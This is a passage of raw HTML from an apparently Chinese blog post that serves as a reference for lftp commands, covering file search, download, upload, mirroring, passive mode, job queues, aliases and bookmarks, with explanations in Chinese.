style="font-size:10.0pt;font-family:宋体;color:#333333;">怎么半呢，用</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> set </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">命令来解决</span></p>  <p align="left" style="text-align:left; word-break:break-all"><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">set ftp:charset gbk(</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">或者</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> gb2312 </span><span style="font-size: 10.0pt;font-family:宋体;color:#333333;">或</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> utf-8) ##</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">设置</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">ftp</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">端的编码格式</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> set file:charset utf-8 (...</span><span style="font-size:10.0pt;font-family: 宋体;color:#333333;">同上</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">) ##</span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">设置本地编码格式</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /></span></p><p align="left" style="text-align:left; word-break:break-all"><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> <strong>3</strong></span><strong><span style="font-size:10.0pt;font-family:宋体;color:#333333;">、查找</span></strong><strong><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">ftp</span></strong><strong><span style="font-size:10.0pt; font-family:宋体;color:#333333;">端文件</span></strong></p>  <p align="left" style="text-align:left; word-break:break-all"><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">ls *.txt ##</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">查找当前目录下的所有</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">txt</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">文件</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> ls ./123/ ##</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">列出</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">123</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">目录下所有文件</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> find . -name "*.txt"&nbsp;&nbsp; ##</span><span style="font-size: 10.0pt;font-family:宋体;color:#333333;">递归查找站点上所有的</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">txt</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">文件</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> find ./xx -name "*.txt" ##</span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">查找</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">xx</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">目录下所有的</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">txt</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">文件</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /></span><span style="font-size: 10pt; font-family: Verdana, sans-serif; color: #333333; "><strong>4</strong></span><strong><span style="font-size:10.0pt;font-family:宋体;color:#333333;">、下载文件</span></strong></p>  <p align="left" style="text-align:left; word-break:break-all"><span style="font-size:10.0pt;font-family:宋体;color:#333333;">下载文件之前要先设置好本地的目录，用来存放下载的文件</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> lcd /home/123/web&nbsp;&nbsp; ##</span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">设置本地存放目录</span> <span style="font-size:10.0pt; font-family:宋体;color:#333333;">默认为</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> /home/usr<br /> <br /> get 123.txt&nbsp;&nbsp;&nbsp;&nbsp; ##</span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">下载</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">123.txt</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">文件到</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> /home/123/web </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">中</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> get -c 123.txt ##</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">断点续传下载</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> mget *.txt&nbsp;&nbsp;&nbsp;&nbsp; ##</span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">批量下载所有</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">txt</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">文件</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> mget -c *.txt ##</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">断点续传</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> mget -c ./123/aaa/*.txt&nbsp;&nbsp; ##</span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">断点续传、批量</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><a href="http://hi.baidu.com/w_empty/blog/item/:void(0);/*1212516110553*/"><span style="font-family:宋体;color:#111100">下载</span></a>ftp</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">端</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">aaa</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">目录下的所有</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">txt</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">文件</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> pget -c -n 10 file.dat<br /> ##</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">以最多</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">10</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">个线程以允许断点续传的方式下载</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">file.dat<br /> ##</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">可以通过设置</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> set pget:default-n 5 </span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">的值而使用默认值。</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> mirror aaa/<br /> ##</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">将</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">aaa</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">目录整个的下载下来，子目录也会自动复制</span> <span style="font-size:10.0pt; font-family:宋体;color:#333333;">本地自动建立目录</span></p>  <p align="left" style="text-align:left; word-break:break-all"><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <strong>5</strong></span><strong><span style="font-size:10.0pt;font-family:宋体;color:#333333;">、上传文件</span></strong> </p>  <p align="left" style="text-align:left; word-break:break-all"><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">put 123.txt&nbsp;&nbsp;&nbsp;&nbsp; ##</span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">同下载</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> mput *.txt&nbsp;&nbsp;&nbsp;&nbsp; ##</span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">同下载</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> mirror -R aaa/ ##</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">同下载</span></p>  <p align="left" style="text-align:left; word-break:break-all"><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <strong>6</strong></span><strong><span style="font-size:10.0pt;font-family:宋体;color:#333333;">、设置被动</span></strong><strong><span style="font-size: 10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">/</span></strong><strong><span style="font-size:10.0pt;font-family: 宋体;color:#333333;">非被动模式</span></strong> </p>  <p align="left" style="text-align:left; word-break:break-all"><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">set ftp:passive-mode 1 ## 1 </span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">被动</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> 0</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">非主动</span></p>  <p align="left" style="text-align:left; word-break:break-all"><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> </span><strong><span style="font-size:10.0pt;font-family:宋体;color:#333333;">多任务处理</span></strong> </p>  <p align="left" style="text-align:left; word-break:break-all"><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">ctrl+z ##</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">将当前进行的任务移交后台处理</span><span style="font-size: 10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> wait&nbsp;&nbsp; ##</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">将后台处理任</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><a href="http://hi.baidu.com/w_empty/blog/item/:void(0);/*1212516124164*/"><span style="font-family:宋体;color:#111100">务调</span></a></span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">至前台查看</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> jobs&nbsp;&nbsp; ##</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">查看后台进行的任务列表</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> kill all </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">或者</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> job_no ##</span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">删除所有任务</span> <span style="font-size:10.0pt; font-family:宋体;color:#333333;">或</span> <span style="font-size:10.0pt; font-family:宋体;color:#333333;">指定的任务</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> ##</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">将任务加入任务列表</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> queue get 123.txt<br /> queue put 234.txt<br /> queue mirror aaa/ <br /> <br /> queue ##</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">查看任务列表</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> jobs&nbsp;&nbsp; ##</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">查看后台任务列表</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> queue start ##</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">开始任务列表</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> queue stop ##</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">停止任务列表</span></p>  <p><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">其他命令</span><span style="font-size:10.0pt;font-family:宋体;color:white;">清晰网</span> <span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> alias []<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">定义别名</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> alias less more<br /> alias reconnect "close; cd ."<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">直接输入</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> alias </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">即可看到目前定义了</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><a href="http://hi.baidu.com/w_empty/blog/item/:void(0);/*1212516138250*/"><span style="font-family:宋体;color:#111100">那些别名</span></a></span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">。如果只输入</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> alias name </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">的话</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">, </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">则是取消</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> name </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">这个别名。</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> bookmark SUBCMD<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">设定书签</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">, </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">可将目前站台及所在目录设成书签</span><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">, </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">下次可直接进来</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">, </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">不用再</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> cd </span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">来</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> cd </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">去的</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> bookmark add name </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">用来新增名称为</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> name </span><span style="font-size: 10.0pt;font-family:宋体;color:#333333;">的书签</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> bookmark del name </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">删除名称为</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> name </span><span style="font-size: 10.0pt;font-family:宋体;color:#333333;">的书签</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> bookmark list </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">显示目前有设定那些书签</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">(</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">另外直接打</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> bookmark </span><span style="font-size: 10.0pt;font-family:宋体;color:#333333;">和</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> bookmark list </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">的结果一样</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">)<br /> bookmark edit </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">呼叫编辑器修改书签</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> (~/.lftp/bookmarks)<br /> <br /> cd </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">切换远端目录</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> cache SUBCMD<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">管理</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> lftp </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">的</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> cache<br /> <br /> rels []<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">从</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> cache </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">中显示远端档案列表</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> rels </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">则不会从</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> cache </span><span style="font-size:10.0pt;font-family: 宋体;color:#333333;">中读取</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> recls opts [path/]pattern<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">从</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> cache </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">中显示远端的档案列表</span><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">, </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">应该算是</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> ls </span><span style="font-size:10.0pt;font-family: 宋体;color:#333333;">的加强版</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">, </span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">有很多参数可用</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">,</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">应该是可用来产生各种不同</span><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">&gt;</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">的档案列表以供其他程式使用。</span><span style="font-size: 10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> recls </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">则不会从</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> cache </span><span style="font-size:10.0pt;font-family: 宋体;color:#333333;">中读取</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> du options<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">计算远端整个目录占用容量</span><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> get OPTS -o<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">抓取远端档案</span> <span style="font-size:10.0pt;font-family:宋体;color:white;">清晰网</span> <span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> get rfile -o lfile<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">抓</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> rfile </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">到本地改名为</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> lfile<br /> -c </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">为续传</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> -E </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">抓档完成后</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">, </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">将远端的档案砍了</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> -a </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">为</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> ascii mode, </span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">预设为</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> binary mode<br /> -O </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">设定</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> base directory </span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">为本地端放档案的目录</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> mget OPTS<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">下载远端档案</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">(</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">可用</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> wildcard expansion </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">也就是</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> *)<br /> <br /> pget OPTS -o<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">使用多个连结来下载档案</span><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">, </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">预设为五个。</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> -n 3 </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">为叁个连结</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> jobs -v<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">显示目前有那些程序在背景执行</span><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> -v </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">显示详细的资讯</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">(-v </span><span style="font-size:10.0pt;font-family: 宋体;color:#333333;">可多加几个来显示更详细的资讯</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">)<br /> <br /> lcd<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">切换本地端的目录</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> mirror OPTS remote [local]<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">下载整个目录</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">(</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">楼上的</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> get </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">只能用来抓档案</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">)<br /> -c </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">续传</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> -e </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">这个要小心一些</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">, </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">比较远端和本地端的档案</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">, </span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">假如远端没有的</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">, </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">就将本地端的档案删除</span><span style="font-size:10.0pt;font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">, </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">也就是将本地端和远端资料同步。</span><span style="font-size: 10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> -R </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">上传整个目录</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> -n </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">只下载较新的档案</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> -r </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">不用递回到目录中</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> --parallel=n </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">同时下载</span><span style="font-size:10.0pt; font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> n </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">个档案</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">(</span><span style="font-size:10.0pt; font-family:宋体;color:#333333;">预设一次只下载一个</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">)</span><span style="font-size:10.0pt;font-family:宋体;color:white;">清晰网</span> <span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> module name args<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">载入模组</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> put OPTS -o<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">上传档案</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"><br /> <br /> mput OPTS<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">上传档案</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;">(</span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">可用</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> wildcard expansion </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">也就是</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> *)<br /> <br /> mv<br /> </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">将远端的</span><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,&quot;sans-serif&quot;;color:#333333;"> file1 </span><span style="font-size:10.0pt;font-family:宋体;color:#333333;">改名为</span><span 